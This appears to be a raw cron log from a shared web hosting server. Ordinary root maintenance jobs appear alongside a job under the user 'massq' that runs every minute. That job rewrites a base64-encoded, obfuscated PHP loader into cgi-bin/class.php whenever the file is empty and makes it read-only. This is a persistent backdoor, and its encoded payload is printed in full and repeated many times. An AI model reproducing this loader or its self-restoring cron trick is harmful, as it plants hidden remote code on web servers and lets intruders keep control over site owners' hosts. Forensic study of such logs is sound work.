Nov 14 22:47:01 server CROND[14156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:48:01 server CROND[15236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:49:01 server CROND[16128]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:50:01 server CROND[16853]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 22:50:01 server CROND[16856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:50:01 server CROND[16858]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:50:01 server CROND[16857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:50:01 server CROND[16855]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 22:51:01 server CROND[17845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:52:01 server CROND[18759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:53:01 server CROND[19552]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:54:01 server CROND[20462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:55:01 server CROND[21490]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:55:01 server CROND[21491]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:55:01 server CROND[21492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:56:01 server CROND[22378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:57:01 server CROND[23295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:57:01 server CROND[23296]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 22:58:01 server CROND[24215]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:59:01 server CROND[25004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:00:01 server CROND[25678]: (root) CMD (/usr/lib64/sa/sa1 1 1)
